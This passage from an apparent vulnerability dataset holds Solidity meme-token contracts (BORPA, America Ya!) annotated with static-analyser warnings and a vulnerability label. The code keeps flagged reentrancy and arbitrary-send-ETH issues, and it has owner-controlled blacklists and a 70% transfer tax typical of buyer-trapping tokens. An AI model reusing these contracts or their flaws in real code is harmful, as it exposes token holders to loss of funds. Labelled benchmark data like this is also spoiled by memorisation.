'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 79848ab): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 79848ab: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function Launch() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: ce5b12e\n\t\t// reentrancy-benign | ID: a371ad3\n\t\t// reentrancy-eth | ID: 1e0e026\n\t\t// reentrancy-eth | ID: 79848ab\n transfer(address(this), balanceOf(msg.sender).mul(98).div(100));\n\n\t\t// reentrancy-events | ID: ce5b12e\n\t\t// reentrancy-benign | ID: a371ad3\n\t\t// reentrancy-eth | ID: 1e0e026\n\t\t// reentrancy-eth | ID: 79848ab\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: ce5b12e\n\t\t// reentrancy-benign | ID: a371ad3\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: 598e5f4\n\t\t// reentrancy-eth | ID: 1e0e026\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: ebe95b1\n\t\t// reentrancy-eth | ID: 1e0e026\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 1e0e026\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1e0e026\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10865.sol",
"size_bytes": 21356,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BORPA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 095b1a0): BORPA._taxWallet should be immutable \n\t// Recommendation for 095b1a0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2f2c9dd): BORPA._initialBuyTax should be constant \n\t// Recommendation for 2f2c9dd: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: f5fc024): BORPA._initialSellTax should be constant \n\t// Recommendation for f5fc024: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2d0c653): BORPA._reduceBuyTaxAt should be constant \n\t// Recommendation for 2d0c653: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 345d434): BORPA._reduceSellTaxAt should be constant \n\t// Recommendation for 345d434: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: e6c0d64): BORPA._preventSwapBefore should be constant \n\t// Recommendation for e6c0d64: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Borpa\";\n\n string private constant _symbol = unicode\"BORPA\";\n\n uint256 public _maxTxAmount = 4206900000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 4206900000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9566237): BORPA._taxSwapThreshold should be constant \n\t// Recommendation for 9566237: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2c984a1): BORPA._maxTaxSwap should be constant \n\t// Recommendation for 2c984a1: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72408fb): BORPA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72408fb: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a2e14d0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a2e14d0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d7e71a3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d7e71a3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: a2e14d0\n\t\t// reentrancy-benign | ID: d7e71a3\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: a2e14d0\n\t\t// reentrancy-benign | ID: d7e71a3\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 25d43b7): BORPA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 25d43b7: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: d7e71a3\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: a2e14d0\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b352409): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b352409: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a396986): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a396986: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: b352409\n\t\t\t\t// reentrancy-eth | ID: a396986\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: b352409\n\t\t\t\t\t// reentrancy-eth | ID: a396986\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a396986\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a396986\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a396986\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: b352409\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: a396986\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: a396986\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: b352409\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b352409\n\t\t// reentrancy-events | ID: a2e14d0\n\t\t// reentrancy-benign | ID: d7e71a3\n\t\t// reentrancy-eth | ID: a396986\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 480c9c8): BORPA.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 480c9c8: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: b352409\n\t\t// reentrancy-events | ID: a2e14d0\n\t\t// reentrancy-eth | ID: a396986\n\t\t// arbitrary-send-eth | ID: 480c9c8\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fce346c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for fce346c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: acb3ae7): BORPA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for acb3ae7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1fa6ccf): BORPA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 1fa6ccf: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9484c56): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9484c56: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: fce346c\n\t\t// reentrancy-eth | ID: 9484c56\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: fce346c\n\t\t// unused-return | ID: 1fa6ccf\n\t\t// reentrancy-eth | ID: 9484c56\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: fce346c\n\t\t// unused-return | ID: acb3ae7\n\t\t// reentrancy-eth | ID: 9484c56\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: fce346c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 9484c56\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10866.sol",
"size_bytes": 20156,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract AYA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ebae1cb): AYA._taxWallet should be immutable \n\t// Recommendation for ebae1cb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n uint256 private _initialBuyTax = 20;\n\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 331f252): AYA._finalBuyTax should be constant \n\t// Recommendation for 331f252: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: cc14a52): AYA._finalSellTax should be constant \n\t// Recommendation for cc14a52: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n uint256 private _reduceBuyTaxAt = 1;\n\n uint256 private _reduceSellTaxAt = 1;\n\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"America Ya!\";\n\n string private constant _symbol = unicode\"AYA\";\n\n uint256 public _maxTxAmount = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7548fcf): AYA._taxSwapThreshold should be constant \n\t// Recommendation for 7548fcf: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: fb1cbe3): AYA._maxTaxSwap should be constant \n\t// Recommendation for fb1cbe3: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe570b0): AYA.caBlockLimit should be constant \n\t// Recommendation for fe570b0: Add the 'constant' attribute to state variables that never change.\n uint256 public caBlockLimit = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6bfa854): AYA.caLimit should be constant \n\t// Recommendation for 6bfa854: Add the 'constant' attribute to state variables that never change.\n bool public caLimit = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x7F767904fbdBfe8f4e7f9192A73FfA9cb194A66a);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9f7e5c9): AYA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9f7e5c9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1706b94): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1706b94: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3f096b5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3f096b5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1706b94\n\t\t// reentrancy-benign | ID: 3f096b5\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 1706b94\n\t\t// reentrancy-benign | ID: 3f096b5\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dc30930): AYA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for dc30930: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3f096b5\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1706b94\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b46770f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b46770f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 565b79e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 565b79e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 320188f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 320188f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 1 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n 